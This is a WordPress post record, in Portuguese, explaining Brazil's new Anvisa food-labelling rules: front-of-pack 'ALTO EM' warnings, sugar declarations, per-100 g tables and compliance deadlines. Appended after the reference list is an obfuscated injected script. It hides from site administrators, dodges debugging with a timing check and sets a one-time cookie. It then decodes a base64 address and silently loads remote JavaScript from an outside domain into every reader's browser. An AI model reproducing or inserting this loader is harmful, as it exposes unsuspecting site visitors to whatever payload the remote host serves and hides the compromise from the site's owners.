{"id":71,"date":"2025-06-27T15:05:25","date_gmt":"2025-06-27T18:05:25","guid":{"rendered":"https:\/\/nutritionscienceguide.com.br\/blog\/?p=71"},"modified":"2025-10-17T12:28:41","modified_gmt":"2025-10-17T15:28:41","slug":"rotulagem-de-alimentos-nova-legislacao","status":"publish","type":"post","link":"https:\/\/nutritionscienceguide.com.br\/blog\/rotulagem-de-alimentos-nova-legislacao\/","title":{"rendered":"Rotulagem de alimentos &#8211; nova legisla\u00e7\u00e3o"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">A rotulagem de alimentos no Brasil passou por mudan\u00e7as recentes que vem aparecendo nas not\u00edcias e sendo notadas pelos consumidores. Em 2020, a Ag\u00eancia Nacional de Vigil\u00e2ncia Sanit\u00e1ria (Anvisa) aprovou as novas regras de rotulagem nutricional: <strong>RDC 429\/2020 e IN 75\/2020.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Segundo publicado pela pr\u00f3pria ANVISA, a nova rotulagem <em>\u201ct\u00eam como objetivo facilitar a compreens\u00e3o das informa\u00e7\u00f5es nutricionais presentes nos r\u00f3tulos dos alimentos, a fim de dar maior clareza e auxiliar o consumidor a realizar escolhas alimentares mais conscientes\u201d.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A Organiza\u00e7\u00e3o Mundial da Sa\u00fade (OMS) recomenda a implementa\u00e7\u00e3o de sistemas eficazes de rotulagem nutricional frontal com informa\u00e7\u00f5es nutricionais claras, visando ajudar no entendimento do conte\u00fado nutricional dos produtos, reduzir o consumo de alimentos ultraprocessados \u200b\u200be processados \u200b\u200bricos em gorduras, a\u00e7\u00facares e\/ou sal e, promover aos consumidores escolhas mais saud\u00e1veis.\u00a0<br><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O que a nova rotulagem tr\u00e1s de mudan\u00e7as efetivas e que provavelmente voc\u00eas j\u00e1 est\u00e3o observando?<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Os alertas na parte frontal da embalagem sobre alguns nutrientes, junto com o s\u00edmbolo de uma lupa e com o selo \u201cALTO EM\u201d,: a\u00e7ucares adicionados, s\u00f3dio e gordura saturada (a medida vale para alimentos com um, dois ou tr\u00eas dos ingredientes citados).<\/li>\n\n\n\n<li>Inclus\u00e3o de a\u00e7\u00facares totais e a\u00e7\u00facares adicionados, e n\u00e3o somente de carboidratos;<\/li>\n\n\n\n<li>Declara\u00e7\u00e3o das quantidades de nutrientes por 100 g ou 100 ml, para ajudar na compara\u00e7\u00e3o de produtos, assim como por por\u00e7\u00e3o do produto tal como exposto \u00e0 venda bem como o n\u00famero de por\u00e7\u00f5es por embalagem (ou seja, se o produto for um hamburguer, a por\u00e7\u00e3o apresentada na tabela n\u00e3o dever\u00e1 ser de metade dele)<\/li>\n\n\n\n<li>A tabela nutricional deve empregar caracteres e linhas de cor 100% preta aplicados em fundo branco, estar localizada em uma \u00fanica superf\u00edcie cont\u00ednua da embalagem e no mesmo painel da lista de ingredientes. e n\u00e3o pode estar em \u00e1reas encobertas e locais deformados, como \u00e1reas de selagem e de tor\u00e7\u00e3o, ou de dif\u00edcil visualiza\u00e7\u00e3o, como arestas, \u00e2ngulos, cantos e costuras.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">O n\u00e3o atendimento \u00e0s normas sanit\u00e1rias est\u00e1 sujeito a puni\u00e7\u00f5es previstas em lei, como multa, interdi\u00e7\u00e3o, recolhimento e suspens\u00e3o dos produtos. Em 09 de outubro de 2022 as novas normas come\u00e7aram a valer, com a adequa\u00e7\u00e3o dos r\u00f3tulos para novos produtos do mercado. Na mesma data do ano seguinte, foi o prazo para adequa\u00e7\u00e3o da rotulagem de todos os produtos, mas foi permitido que as empresas esgotassem o estoque das embalagens de produtos adquiridos at\u00e9 08 de outubro de 2023. Em 09 de outubro desse ano, \u00e9 o prazo final para esgotar esses produtos que ainda dispunham de rotulagem antiga e de incluir os produtos artesanais e da agricultura familiar. J\u00e1 na mesma data de 2025 \u00e9 o prazo para adequa\u00e7\u00e3o das bebidas n\u00e3o alco\u00f3licas vendidas em embalagens retorn\u00e1veis.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Um estudo apresentou como funciona o sistema de rotulagem frontal desenvolvido por pa\u00edses das Am\u00e9ricas (em agosto de 2022) e j\u00e1 h\u00e1 publica\u00e7\u00f5es que avaliaram as respostas a essas implanta\u00e7\u00f5es. No Equador, foi feito um estudo conduzido para determinar a resposta de m\u00e3es de crian\u00e7as pequenas aos r\u00f3tulos frontais; descobriu-se que, ap\u00f3s um ano de sua implementa\u00e7\u00e3o, a regulamenta\u00e7\u00e3o era bem conhecida, independentemente do status socioecon\u00f4mico.\u00a0No Chile, as advert\u00eancias nos r\u00f3tulos provaram reduzir efetivamente as vendas de produtos ricos em calorias, a\u00e7\u00facares, s\u00f3dio e gorduras saturadas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Claro que isso ainda \u00e9 parte de um processo longo, detalhista e demorado, e envolve quest\u00f5es socioecon\u00f4micas e pol\u00edticas. Mas s\u00e3o mudan\u00e7as que, aparentemente, vem para agregar conhecimento, autonomia e mudan\u00e7as de padr\u00f5es alimentares.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Refer\u00eancias bibliogr\u00e1ficas<\/strong> \ud83e\udde9<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">AG\u00caNCIA NACIONAL DE VIGIL\u00c2NCIA SANIT\u00c1RIA (ANVISA). Rotulagem nutricional: definido prazo para uso de embalagens antigas. Publicado em 10\/10\/2023, atualizado em 18\/10\/2023. Dispon\u00edvel em: https:\/\/www.gov.br\/anvisa\/pt-br\/assuntos\/noticias-anvisa\/2023\/rotulagem-nutricional-definido-prazo para-uso-de-embalagens-antigas. Acesso em: 28\/09\/2024<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">AG\u00caNCIA NACIONAL DE VIGIL\u00c2NCIA SANIT\u00c1RIA (ANVISA). RDC n\u00ba 429, de 8 de outubro de 2020. Disp\u00f5e sobre a rotulagem nutricional dos alimentos embalados. Minist\u00e9rio da Sa\u00fade &#8211; MS. Ag\u00eancia Nacional de Vigil\u00e2ncia Sanit\u00e1ria. DOU n\u00ba 195, de 9 de outubro de 2020.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">AG\u00caNCIA NACIONAL DE VIGIL\u00c2NCIA SANIT\u00c1RIA (ANVISA). IN n\u00ba 75, de 8 de outubro de 2020. Estabelece os requisitos t\u00e9cnicos para declara\u00e7\u00e3o da rotulagem nutricional nos alimentos embalados. Minist\u00e9rio da Sa\u00fade &#8211; MS. Ag\u00eancia Nacional de Vigil\u00e2ncia Sanit\u00e1ria. DOU n\u00ba 195, de 9 de outubro de 2020.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">CROSBIE, Eric; GOMES, Fabio S.; OLVERA, Jasmine; PATI\u00d1O, Sof\u00eda Rinc\u00f3n-Gallardo; HOEPER, Samantha; CARRIEDO, Angela. A policy study on front\u2013of\u2013pack nutrition labeling in the Americas: emerging developments and outcomes. The Lancet Regional Health &#8211; Americas, [S.L.], v. 18, p. 100400, fev. 2023<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>A rotulagem de alimentos no Brasil passou por mudan\u00e7as recentes que vem aparecendo nas not\u00edcias e sendo notadas pelos consumidores. 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